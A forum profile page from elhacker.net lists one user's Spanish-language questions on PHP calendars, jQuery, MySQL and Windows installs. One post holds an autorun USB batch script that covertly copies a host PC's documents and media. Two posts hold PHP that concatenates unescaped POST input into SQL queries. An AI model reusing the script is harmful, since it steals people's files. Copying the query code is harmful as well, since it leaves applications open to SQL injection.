elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12
51  Programación / PHP / ¿Que tamaño máximo incorporo a la subida de archivos a mi aplicación web? en: 5 Noviembre 2018, 16:36 pm
Hola, estoy en un proceso en mi web, por la cual estoy haciendo un chat, por la cual en este chat, se puede subir archivos (imagenes, videos, audios y documentos), y quisiera saber cuantos MB o KB máximos podría restringir, cada uno. En este caso mi servidor solo acepta 2MB máximo de archivo (cualquiera).

imagenes: png, jpg, jpeg, gif y svg
audio: wav, mp3, ogg y midi
videos: mp4 ,avi ,mov, wmv
documentos: pdf, odt, ods, odp, odg, odf, doc, docx, xls, xlsx y ppt

Gracias.
52  Programación / Desarrollo Web / Actualizar div sin recargar pagina con jQuery en: 5 Agosto 2018, 17:29 pm
estoy intentando actualizar un div sin recargar la página, para ello lo hago con jQuery, y me va bien, pero hay un pequeño error y es que al actualizar el div, las funciones no se ejecutan. Me explico, yo tengo un div donde una serie de actividades que el usuario puede eliminar, y en la funcion puse que al ser exitoso, me recargue el div, de la siguiente manera:
Código:
$("#divacargar").load("paginaexterna.php");
La pagina externa contiene esto.
Código:
      <p id="title"><b>Educaplay</b><i class="fa fa-close close_popup_educaplay"></i></p>
  <div id="contenedor">
    <?php include('educaplay.php') ?>
  </div>
  <div class="div_eliminacion">
    <svg id="cubo" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 70 76">
      <defs>
        <style>
          .cls-1{fill:#ed1c24;}
          .cls-1-tapa{fill:#ed1c24;}
          .cls-2{fill:#c1272d;}
        </style>
      </defs>
      <rect class="cls-1" y="16" width="70" height="60" rx="12" ry="12"/>
      <rect class="cls-2" x="49" y="26" width="10" height="40" rx="2.5" ry="2.5"/>
      <rect class="cls-2" x="29" y="26" width="10" height="40" rx="2.5" ry="2.5"/>
      <rect class="cls-2" x="9" y="26" width="10" height="40" rx="2.5" ry="2.5"/>
      <path class="cls-1-tapa" d="M80,30H60V27.1A3.12,3.12,0,0,0,56.9,24H43.1A3.12,3.12,0,0,0,40,27.1V30H20a5,5,0,0,0,0,10H80a5,5,0,0,0,0-10Z" transform="translate(-15 -24)"/>
    </svg>
    <form method="POST" id="form_identificador"><textarea style="display: none;" id="identificador" name="identidad"></textarea></form>
  </div>
  <img src="http://www.g-t-e.260mb.net/profesorado/imagenes/eliminar_todo_act.png" id="eliminar_todo_educaplay" title="Elimimar todas las actividades" alt="Eliminar todo">
Este div tiene varias funciones como el fa-close para salir del propio div pero al recargar el div autoomáticamente con .load() no funciona, las funciones ya no se ejecutan, y no sé porque.

¿Alguien sabe porque? Gracias.
53  Sistemas Operativos / Windows / Error al hacer USB autoejecutable con Autorun en: 23 Julio 2018, 19:15 pm
Lo estoy intentando hacer un USB autoejecutable que solamente al conectar el USB me copie los de la PC a la que esta conectada, para eso hice el programa bat:

Código:
@echo off
IF EXIST ".\cosas\"%USERNAME% MD ".\berta\"%USERNAME%
cd ".\berta\
for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Desktop\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Videos\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Documents\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Music\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
pause
EXIT

El archivo funciona, pero necessito que se ejecute automáticamente, para ello hice el archivo autorun.inf:
Código:
[Autorun]
open = guardar.bat

Quito el USB y lo vuelvo a poner y en teoría me tendría que salir el programa bat ejecutándose pero no hace eso, y no se cual es el problema, ya que en YouTube cuando lo veo, parece funcionar.

Gracias

P.D: Lo probé conviertiendo el .bat en .exe y tampoco funciona.
54  Sistemas Operativos / Windows / Se puede abrir cmd desde la bios de windows 7? en: 22 Julio 2018, 23:28 pm
Hola, preguntaba si al entrar en la BIOS se puede abrir la consola en windows 7, para ejecutar un programa, gracias.
55  Sistemas Operativos / Windows / Error al instalar Windows 10 pro en Windows 7 starter - packard bell en: 16 Julio 2018, 18:41 pm
Hola,  fui a casa de un amigo a instalarle el windows 10 pro en su portátil de windows 8 starter, ya que le hiba muy lento y quería actualizarlo a otro windows. Todo fue bien desde la USB, pero al la hora de la instalación, todo fue bien, tanto instalación como actualizaciones, pero en las actualizaciones no me chequeó 'actualizaciones' y se me cargaba una cosa y después  volvía a reiniciarse el ordenador empezando todo de nuevo y así tantas veces como quieras.
56  Sistemas Operativos / Windows / Eliminé el disco local C, no tengo sistema operativo, y no me deja instalarlo en: 10 Julio 2018, 12:11 pm
Hola, tengo un problemón, quise instalar Ubuntu en windows 10, desde USB, para que cuando inicie el PC me  salga  la opción de ir a Ubuntu o Windows, todo fue bien, instalé la ISO  de Ubuntu en un USB, y lo arranque desde ahí, con la BIOS,, hice la instalación de Linux, bien, pero al estar en las particiones, eliminé mi sistema operativo W10 pro, pero al menos tenia Ubuntu, pero quise recuperar, el W10 pro, para eso instalé la ISO en otro USB y lo arranqué, y en las particiones, no sé que hice y formateé el disco duro System (en el instalador de Windows) para instalar windows 10, por la cual me quedé sin ambos sistemas y solamente puedo entrrar en la BIOS (Surface Pro i5) y al arrancar el instalador de Windows 10 desde USB, me pide que instale en un disco duro, y me dice que no puede instalar el sistema, ya que los discos duros son de recuperación del sistema, y ya que no me deja no sé que hacer. ¿Como lo puedo solucionar?

Gracias
57  Programación / PHP / Como hacer que cuando al dar click en una fecha del calen. me inse. datos en DB en: 1 Julio 2018, 23:39 pm
Hola tengo un calendario php y me gustaría que al clicar en una fecha (es decir en una de sus celdas) me inserte un evento en la DB, por ahora lo estoy intentando hacer, y la llamada a la inserción de datos a la DB lo haré con AJAX.

Tengo estos ficheros:

HTML (parte):
Código:
<script>
  $(document).ready(function(){
    $(".dates li").click(function(){
      alert("<?php echo $j; ?>");
    });
  })
</script>
</head>
<body id="fondo">
<div style="position:absolute;opacity:1;width:auto;left:0%;right:0%;">
<div class="gridcontainer">
<div class="gridwrapper" style="height:10vw;" id="header1">
  <a href="http://g-t-e.260mb.net/profesorado/" style="text-decoration: none;">
    <img src="http://g-t-e.260mb.net/profesorado/imagenes/logo_GTE_profesorado.png" class="logo_inicio" id="logo_inicio1">
  </a>
</div>
</div>
  <nav class="menu">
    <ul class="submenus">
      <li class="dropdown">
        <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso" class="dropbtn">1 ESO</a>
        <div class="dropdown-content">
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1A">1&ordm; A</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1B">1&ordm; B</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1C">1&ordm; C</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1D">1&ordm; D</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1E">1&ordm; E</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1F">1&ordm; F</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/1_eso/1G">1&ordm; G</a>
        </div>
      </li>
      <li class="dropdown">
        <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso" class="dropbtn">2 ESO</a>
        <div class="dropdown-content">
          <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso/2A">2&ordm; A</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso/2B">2&ordm; B</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso/2C">2&ordm; C</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso/2D">2&ordm; D</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso/2E">2&ordm; E</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/2_eso/2F">2&ordm; F</a>
        </div>
      </li>
      <li class="dropdown">
        <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso" class="dropbtn">3 ESO</a>
        <div class="dropdown-content">
          <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso/3A">3&ordm; A</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso/3B">3&ordm; B</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso/3C">3&ordm; C</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso/3D">3&ordm; D</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso/3E">3&ordm; E</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/3_eso/3F">3&ordm; F</a>
        </div>
      </li>
      <li class="dropdown">
        <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso" class="dropbtn">4 ESO</a>
        <div class="dropdown-content">
          <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso/4A">4&ordm; A</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso/4B">4&ordm; B</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso/4C">4&ordm; C</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso/4D">4&ordm; D</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso/4E">4&ordm; E</a>
          <a href="http://g-t-e.260mb.net/profesorado/GTE/4_eso/4F">4&ordm; F</a>
        </div>
    </li>
    <li style="float:right;" class="icons">
      <a href="http://www.g-t-e.260mb.net/profesorado">
        <i class="fa fa-home"></i>
      </a>
    </li>
    <li style="float:right;" class="icons">
      <a href="https://sites.google.com/site/iescalvia/organitzacio/equip" target="_blank">
        <i class="fa fa-users"></i>
      </a>
    </li>
    </ul>
  </nav>
  <li class="fa fa-pencil-square" title="A&ntilde;adir eventos" id="eventos1"></li>
  <font id="title_1A">1 ESO A</font>
  <div id="calendar_div" style="position: relative; top:5vmax; left: 0vmax;">
     <?php echo getCalender(); ?>
  </div>
  <br>
  <table align="center" class="legenda_calendario">
      <tbody>
        <tr>
            <th colspan="2" class="subtitulo">Inicio de curso y vacaciones</th>
            <th class="titulo">otros</th>
        </tr>
        <tr>
            <td class="td">Inicio de curso:&nbsp;<canvas height="20" width="20" style="background-color:#F78181; border-radius:5px;"></canvas></td>
            <td class="td">Vacaciones de navidad:&nbsp;<canvas height="20" width="20" style="background-color:#81F781; border-radius:5px;"></canvas></td>
            <td class="td">Hoy:&nbsp;<canvas height="20" width="20" style="background-color:#DDDDDD; border-radius: 5px;"></canvas></td>
        </tr>
        <tr>
            <td class="td">Vacaciones de Pascua:&nbsp;<canvas height="20" width="20" style="background-color:#F2F5A9; border-radius:5px;"></canvas></td>
            <td class="td">Dias festivos:&nbsp;<canvas height="20" width="20" style="background-color:#E2A9F3; border-radius:5px;"></canvas></td>
            <td class="td">eventos:&nbsp;<canvas height="20" width="20" style="background-color:#B9FFFF; border-radius:5px;"></canvas></td>
        </tr>
    </tbody></table>
  <div class="gridwrapper" style="height:15vw; position:relative; bottom:-10vw;" id="footer1">
  <!-- footer -->
    <a href="https://web2.alexiaedu.com/ACWeb/LogOn.aspx?key=WRcKBnV4m3M%3d" target="_blank" style="text-decoration: none;">
      <img src="imagenes/Alexia1.png" class="alexia" title="Alexia">
    </a>
    <a href="http://moodle2.iescalvia.com/" target="_blank" style="text-decoration: none;">
      <img src="imagenes/moodle.png" class="moodle" title="Moodle">
    </a>
    <a href="https://www.bachilleratoartistico-iescalvia.com/" target="_blank" style="text-decoration: none; opacity: 1;">
      <img src="imagenes/batart.png" class="batart" title="Bachillerato art&iacute;stico">
    </a>
    <a href="http://iescalviablog.blogspot.com.es/" target="_blank" style="text-decoration: none;">
      <img src="imagenes/pillospress.png" class="pillospress" title="pillo's press">
    </a>
    <a href="http://www.cucalvia.com/" target="_blank" style="text-decoration: none;">
      <img src="imagenes/CUC.png" class="CUC" title="CUC">
    </a>
    <a href="http://weib.caib.es/" target="_blank" style="text-decoration: none;">
      <img src="imagenes/weib.png" class="weib" title="weib">
    </a>
    <br>
    <a href="http://iescalvia.blogspot.com.es/" target="_blank" style="text-decoration: none;">
      <img src="imagenes/bloggeries.png" class="bloggeries" title="Informaci&oacute;n del IES Calvi&aacute;">
    </a>
    <a href="http://www.erasmusplus.gob.es/" target="_blank" style="text-decoration: none;">
      <img src="imagenes/erasmus.png" class="erasmus" title="Erasmus">
    </a>
    <a href="https://www3.caib.es/xestib/xestib/menu/iniciGestio" target="_blank" style="text-decoration: none;">
      <img src="imagenes/GESTIB2.0.jpg" class="GESTIB2" title="GESTIB2.0">
    </a>
    <a href="mailto:iescalvia@gmail.com" style="text-decoration: none;">
      <i class="fa fa-envelope mail" title="iescalvia@gmail.com"></i>
    </a>
    <a href="tel:+34 971690229" style="text-decoration: none;">
      <i class="fa fa-tty telefono" title="+34 971690229"></i>
    </a>
    <a href="fax:+34 971694931" style="text-decoration: none;">
      <i class="fa fa-fax fax1" title="+34 971694931"></i>
    </a>
    <a href="https://sites.google.com/site/iescalvia/organitzacio/equip" target="_blank" style="text-decoration: none;" title="&iquest;Quienes somos?">
      <i class="fa fa-users equipo"></i>
    </a>
    <a href="guia.pdf" download="guia.pdf">
      <i class="fa fa-file-pdf-o descarga"></i>
    </a>
    <div class="red">
              <div class="social">
                  <div><a href="https://www.facebook.com/ies.calvia" target="_blank" class="fa fa-facebook-square facebook"></a></div>
                  <div><a href="https://www.youtube.com/user/iescalviablog" target="_blank" class="fa fa-youtube-play youtube"></a></div>
                  <div><a href="https://plus.google.com/114947718295379948989" target="_blank" class="fa fa-google-plus googleplus"></a></div>
                  <div><a href="mailto:iescalvia@gmail.com" class="fa fa-envelope correo" title="iescalvia@gmail.com"></a></div>
                  <div><a href="tel:+34971690229" class="fa fa-volume-control-phone telf" title="+34 971690229"></a></div>
                  <div><a href="fax:+34971694931" class="fa fa-fax mensaje" title="+34 971694931"></a></div>
              </div>
              <div class="volver12">
                <div class="volver_1">
                  <div>
                    <a href="http://www.g-t-e.260mb.net/profesorado/GTE/" class="volver_eso fa fa-square-o" title="Volver a los cursos">
                    </a>
                  </div>
                  <div>
                    <a href="http://www.g-t-e.260mb.net/profesorado/GTE/1_eso/" class="fa fa-arrow-left  volver" title="Volver">
                    </a>
                  </div>
                </div>
              </div>
    </div>
  </div>
<div id="contactos_div"></div>
</div>
</div>
<div class="fondo_popup">
  <div class="popup-edicion">
    <center class="fondo_centrado"><font class="texto_edicion">Editar vacaciones</font><i class="fa fa-close"></i></center>
    <div>
      <left class="coordinar_left">
        <select id="tipoEventos">
          <option selected disabled>-Editar...-</option>
          <option value="Vacaciones_de_Pascua">Vacaciones de Pascua</option>
          <option value="Vacaciones_de_Navidad">Vacaciones de Navidad</option>
          <option value="Dias_festivos">Dias festivos</option>
          <option value="inicio_de_curso">Inicio de curso</option>
        </select>
      </left>
      <center>
          <div class="caja">
            <?php
            include 'calendario.php';
             
            $calendar = new Calendar();
             
            echo $calendar->show();
            ?>             
          </div>
      </center>     
    </div>
  </div>
</div>
</body>

calendario.php:
Código:
<?php
/**
*@author  Xu Ding
*@email   thedilab@gmail.com
*@website http://www.StarTutorial.com
**/
class Calendar { 
     
    /**
     * Constructor
     */
    public function __construct(){     
        $this->naviHref = htmlentities($_SERVER['PHP_SELF']);
    }
     
    /********************* PROPERTY ********************/ 
    private $dayLabels = array("L","M","X","J","V","S","D");
     
    private $currentYear=0;
     
    private $currentMonth=0;
     
    private $currentDay=0;
     
    private $currentDate=null;
     
    private $daysInMonth=0;
     
    private $naviHref= null;
     
    /********************* PUBLIC **********************/ 
       
    /**
    * print out the calendar
    */
    public function show() {
        $year  == null;
         
        $month == null;
         
        if(null==$year&&isset($_GET['year'])){
 
            $year = $_GET['year'];
         
        }else if(null==$year){
 
            $year = date("Y",time()); 
         
        }         
         
        if(null==$month&&isset($_GET['month'])){
 
            $month = $_GET['month'];
         
        }else if(null==$month){
 
            $month = date("m",time());
         
        }                 
         
        $this->currentYear=$year;
         
        $this->currentMonth=$month;
         
        $this->daysInMonth=$this->_daysInMonth($month,$year); 
         
        $content='<div id="calendar">'.
                        '<div class="box">'.
                        $this->_createNavi().
                        '</div>'.
                        '<div class="box-content">'.
                                '<ul class="label">'.$this->_createLabels().'</ul>';   
                                $content.='<div class="clear"></div>';     
                                $content.='<ul class="dates">';   
                                 
                                $weeksInMonth = $this->_weeksInMonth($month,$year);
                                // Create weeks in a month
                                for( $i=0; $i<$weeksInMonth; $i++ ){
                                     
                                    //Create days in a week
                                    for($j=1;$j<=7;$j++){
                                        $content.=$this->_showDay($i*7+$j);
                                    }
                                }
                                 
                                $content.='</ul>';
                                 
                                $content.='<div class="clear"></div>';     
             
                        $content.='</div>';
                 
        $content.='</div>';
        return $content;   
    }
     
    /********************* PRIVATE **********************/
    /**
    * create the li element for ul
    */
    private function _showDay($cellNumber){
         
        if($this->currentDay==0){
             
            $firstDayOfTheWeek = date('N',strtotime($this->currentYear.'-'.$this->currentMonth.'-01'));
                     
            if(intval($cellNumber) == intval($firstDayOfTheWeek)){
                 
                $this->currentDay=1;
                 
            }
        }
         
        if( ($this->currentDay!=0)&&($this->currentDay<=$this->daysInMonth) ){
             
            $this->currentDate = date('Y-m-d',strtotime($this->currentYear.'-'.$this->currentMonth.'-'.($this->currentDay)));
             
            $cellContent = $this->currentDay;
             
            $this->currentDay++;   
             
        }else{
             
            $this->currentDate =null;
 
            $cellContent=null;
        }
             
         
        return '<li id="li-'.$this->currentDate.'" class="'.($cellNumber%7==1?' start ':($cellNumber%7==0?' end ':' ')).
                ($cellContent==null?'mask':'').'">'.$cellContent.'</li>';
    }
     
    /**
    * create navigation
    */
    private function _createNavi(){
    setlocale(LC_TIME, "spanish");
  $date_new = date('Y M',strtotime($this->currentYear.'-'.$this->currentMonth.'-1'));
  $day = strftime("%G del %B",strtotime($date_new));
        $fecha = $this->currentYear.'-'.$this->currentMonth.'-1';
        $nextMonth = $this->currentMonth==12?1:intval($this->currentMonth)+1;
         
        $nextYear = $this->currentMonth==12?intval($this->currentYear)+1:$this->currentYear;
         
        $preMonth = $this->currentMonth==1?12:intval($this->currentMonth)-1;
         
        $preYear = $this->currentMonth==1?intval($this->currentYear)-1:$this->currentYear;
         
        return
            '<div class="header">'.
                '<a class="prev" href="'.$this->naviHref.'?month='.sprintf('%02d',$preMonth).'&year='.$preYear.'"><i class="fa fa-angle-double-left"></i></a>'.
                    '<span class="title">'.$day.'</span>'.
                '<a class="next" href="'.$this->naviHref.'?month='.sprintf("%02d", $nextMonth).'&year='.$nextYear.'"><i class="fa fa-angle-double-right"></i></a>'.
            '</div>';
    }
         
    /**
    * create calendar week labels
    */
    private function _createLabels(){ 
                 
        $content='';
         
        foreach($this->dayLabels as $index=>$label){
             
            $content.='<li class="'.($label==6?'end title':'start title').' title">'.$label.'</li>';
 
        }
         
        return $content;
    }
     
     
     
    /**
    * calculate number of weeks in a particular month
    */
    private function _weeksInMonth($month=null,$year=null){
         
        if( null==($year) ) {
            $year =  date("Y",time());
        }
         
        if(null==($month)) {
            $month = date("m",time());
        }
         
        // find number of days in this month
        $daysInMonths = $this->_daysInMonth($month,$year);
         
        $numOfweeks = ($daysInMonths%7==0?0:1) + intval($daysInMonths/7);
         
        $monthEndingDay= date('N',strtotime($year.'-'.$month.'-'.$daysInMonths));
         
        $monthStartDay = date('N',strtotime($year.'-'.$month.'-01'));
         
        if($monthEndingDay<$monthStartDay){
             
            $numOfweeks++;
         
        }
         
        return $numOfweeks;
    }
 
    /**
    * calculate number of days in a particular month
    */
    private function _daysInMonth($month=null,$year=null){
         
        if(null==($year))
            $year =  date("Y",time());
 
        if(null==($month))
            $month = date("m",time());
             
        return date('t',strtotime($year.'-'.$month.'-01'));
    }   
}
?>

Por ahora se que el $j son los dias que hay en el calendario, pero no sé como hacer para que al clicar las celdas me haga una consulta.

¿No me oriento bien, alguien sabría como hacerlo?, y si se puede hacer en PHP?

Gracias.
58  Programación / Bases de Datos / No puedo modificar la tabla DB porque me detecta ', en: 18 Abril 2018, 22:21 pm
Hola tengo un formulario dónde tengo que especificar que tabla de la base de datos tengo que modificar. Pero cuando le doy en modificar, me sale un error
Código:
error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' materia=, asunto=ddddfdsffa, tarea=, evento=dddddfdWHERE fecha=2018-04-12, tipo' at line 1

Código:
<?php
$servername = "xxxxxxx";
$username = "xxxxxxxx";
$password = "xxxxxxx";
$dbname = "xxxxxxx";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Desconectado" . $conn->connect_error);
}
$fecha= $_POST['seleccionar_fecha'];
$tipoevento_se = $_POST['especificar_tipoEventos'];
$materia_se = $_POST['especificar_materiabox'];
$asunto_se = $_POST['especificar_asuntobox'];
mysql_real_escape_string($conn, $_POST['seleccionar_fecha']);
mysql_real_escape_string($conn, $_POST['especificar_asuntobox']);
mysql_real_escape_string($conn, $_POST['especificar_materiabox']);
mysql_real_escape_string($conn, $_POST['especificar_TipoEventos']);
$tipoevento = $_POST['modificar_tipoEventos'];
$otro = $_POST['modificar_otroTipoEventos'];
$materia = $_POST['modificar_materiabox'];
$asunto = $_POST['modificar_asuntobox'];
$tarea = $_POST['modificar_tareabox'];
$evento = $_POST['modificar_eventobox'];
mysql_real_escape_string($conn, $_POST['modificar_tipoEventos']);
mysql_real_escape_string($conn, $_POST['modificar_otroTipoEventos']);
mysql_real_escape_string($conn, $_POST['modificar_materiabox']);
mysql_real_escape_string($conn, $_POST['modificar_asuntobox']);
mysql_real_escape_string($conn, $_POST['modificar_tareabox']);
mysql_real_escape_string($conn, $_POST['modificar_eventobox']);
$sql = "UPDATE 1esoacalendar SET tipoevento=".$tipoevento.", otro=".$otro.", materia=".$materia.", asunto=".$asunto.", tarea=".$tarea.", evento=".$evento."WHERE fecha=".$fecha.", tipoevento=".$tipoevento_se.", materia=".$materia_se.", asunto=".$asunto_se."";

if ($conn->query($sql) === TRUE) {
    echo $sql;
} else {
    echo "error: ".$conn-> error;
}
$conn->close();
?>
No sé de donde sale esa comilla. Y creo que en teoría esta bien.
Código:
$sql = "UPDATE 1esoacalendar SET tipoevento=".$tipoevento.", otro=".$otro.", materia=".$materia.", asunto=".$asunto.", tarea=".$tarea.", evento=".$evento."WHERE fecha=".$fecha.", tipoevento=".$tipoevento_se.", materia=".$materia_se.", asunto=".$asunto_se."";

Gracias por vuestra atención
59  Programación / PHP / Envio de datos a la base de datos con AJAX en: 25 Febrero 2018, 22:19 pm
Hola. quiero enviar mis datos del formulario a mi DDBB sin recargar la página, para eso necesito AJAX, me busque un tutorial por YouTube y lo hice pero pasa una cosa, y es que me lo ejecuta bien pero no me ejecuta el afterSend. (La funcion de afterSend es que me muestre un popup diciendome que esta guardado en la DDBB.)

Código:
  $(document).ready(function(){
    $("#enviar").click(function(){
      var datos = $("#demo").serialize();
      $.ajax({
        type:"POST",
        url:"verificar_captcha.php",
        data:datos,
        afterSend:function(){
          $(".popup_correctoevento").delay(500).slideDown("slow");
          $(".popup_correctoevento").delay(1000).slideUp("slow");
        }
      })
    });
  });

verificar_captcha.php
Código:
<?php
  session_start( ); // allows us to retrieve our key form the session
  /*
  First encrypt the key passed by the form, then compare it to the already encrypted key stored inside our session variable
          */
  if( md5( $_POST[ 'code' ] ) != $_SESSION[ 'key' ] ) {
  ?>
  <script>
    $(document).ready(function(){
        $(".popup_errorcaptchaevento").delay(500).slideDown("slow");
        $(".popup_errorcaptchaevento").delay(1000).slideUp("slow");
    });
  </script>
  <?php
  } else {
    include('anadirevento.php');
  }
?>

anadirevento.php
Código:
<?php
$servername = "private";
$username = "private";
$password = "private";
$dbname = "private";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Error: " . $conn->connect_error);
}
$fecha = $_POST['databox'];
$tipoEvento = $_POST['tipoEventos'];
$otro = $_POST['otroTipoEventos'];
$materia = $_POST['materiabox'];
$asunto = $_POST['asuntobox'];
$tarea = $_POST['tareabox'];
$evento = $_POST['eventobox'];
mysqli_escape_string($_POST['databox']);
mysqli_escape_string($_POST['tipoEventos']);
mysqli_escape_string($_POST['otroTipoEventos']);
mysqli_escape_string($_POST['materiabox']);
mysqli_escape_string($_POST['asuntobox']);
mysqli_escape_string($_POST['tareabox']);
mysqli_escape_string($_POST['eventobox']);

$sql = " INSERT INTO 1esoacalendar (fecha, tipoevento, otro, materia, asunto, tarea, evento) VALUES ('$fecha','$tipoEvento','$otro','$materia','$asunto','$tarea','$evento')";

if ($conn->query($sql) === TRUE) {
?>
<script>
  $(document).ready(function(){
    $(".popup_correctoevento").delay(500).slideDown("slow");
    $(".popup_correctoevento").delay(1000).slideUp("slow");
  });
</script>
<?
}else{
?>
<script>
  $(document).ready(function(){
    $(".popup_errorevento").delay(500).slideDown("slow");
    $(".popup_errorevento").delay(1000).slideUp("slow");
  });
</script>
<?
}
$conn->close();
?>

Porque no me ejecuta el afterSend?

PD:
Ah!!  Y antes puse success y no afterSend sin ninguna funcion, y me ejecutaba el anadirevento.php pero sin los scripts.¿Porque?

Gracias de antemano.
60  Programación / PHP / actualizar mi calendario php mysql cuando detecte un nuevo dato en DB en: 24 Febrero 2018, 00:26 am
Hola como puedo hacer que mi calendario php mysql se actualice automaticamente cuando detecte que hay un nuevo dato en la base de datos?
Código:
<?php
/*
 * Function requested by Ajax
 */
if(isset($_POST['func']) && !empty($_POST['func'])){
  switch($_POST['func']){
    case 'getCalender':
      getCalender($_POST['year'],$_POST['month']);
      break;
    case 'getEvents':
      getEvents($_POST['date']);
      break;
    default:
      break;
  }
}

/*
 * Get calendar full HTML
 */
function getCalender($year = '',$month = '')
{
  $dateYear = ($year != '')?$year:date("Y");
  $dateMonth = ($month != '')?$month:date("m");
  $date = $dateYear.'-'.$dateMonth.'-01';
  $currentMonthFirstDay = date("N",strtotime($date));
  $totalDaysOfMonth = cal_days_in_month(CAL_GREGORIAN,$dateMonth,$dateYear);
  $totalDaysOfMonthDisplay = ($currentMonthFirstDay == 7)?($totalDaysOfMonth):($totalDaysOfMonth + $currentMonthFirstDay);
  $boxDisplay = ($totalDaysOfMonthDisplay <= 35)?35:42;
?>
  <div id="calender_section">
    <h2>
      <div id="seleccion_mes">
         <a href="javascript:void(0);" onclick="getCalendar('calendar_div','<?php echo date("Y",strtotime($date.' - 1 Month')); ?>','<?php echo date("m",strtotime($date.' - 1 Month')); ?>');" id="flecha_izquierda">&lt;&lt;</a>
            <select name="month_dropdown" class="month_dropdown dropdown" face="segoe script"><?php echo getAllMonths($dateMonth); ?></select>
           <select name="year_dropdown" class="year_dropdown dropdown" face="segoe script"><?php echo getYearList($dateYear); ?></select>
            <a href="javascript:void(0);" onclick="getCalendar('calendar_div','<?php echo date("Y",strtotime($date.' + 1 Month')); ?>','<?php echo date("m",strtotime($date.' + 1 Month')); ?>');" id="flecha_derecha">&gt;&gt;</a>
      </div>
    </h2>
    <div id="event_list" class="none"></div>
    <div id="calender_section_top">
      <ul id="dias_semana" class="dias_semana1">
        <li id="dia1">Dom.</li>
        <li id="dia2">Lun.</li>
        <li id="dia3">Mar.</li>
        <li id="dia4">Mi&eacute;.</li>
        <li id="dia5">Jue.</li>
        <li id="dia6">Vie.</li>
        <li id="dia7">S&aacute;b.</li>
      </ul>
    </div>
    <div id="calender_section_bot">
      <ul>
      <?php
        $dayCount = 1;
        for($cb=1;$cb<=$boxDisplay;$cb++){
          if(($cb >= $currentMonthFirstDay+1 || $currentMonthFirstDay == 7) && $cb <= ($totalDaysOfMonthDisplay)){
            //Current date
            $currentDate = $dateYear.'-'.$dateMonth.'-'.$dayCount;
            $eventNum = 0;
            //Include db configuration file
            include 'dbConfig.php';
            //Get number of events based on the current date
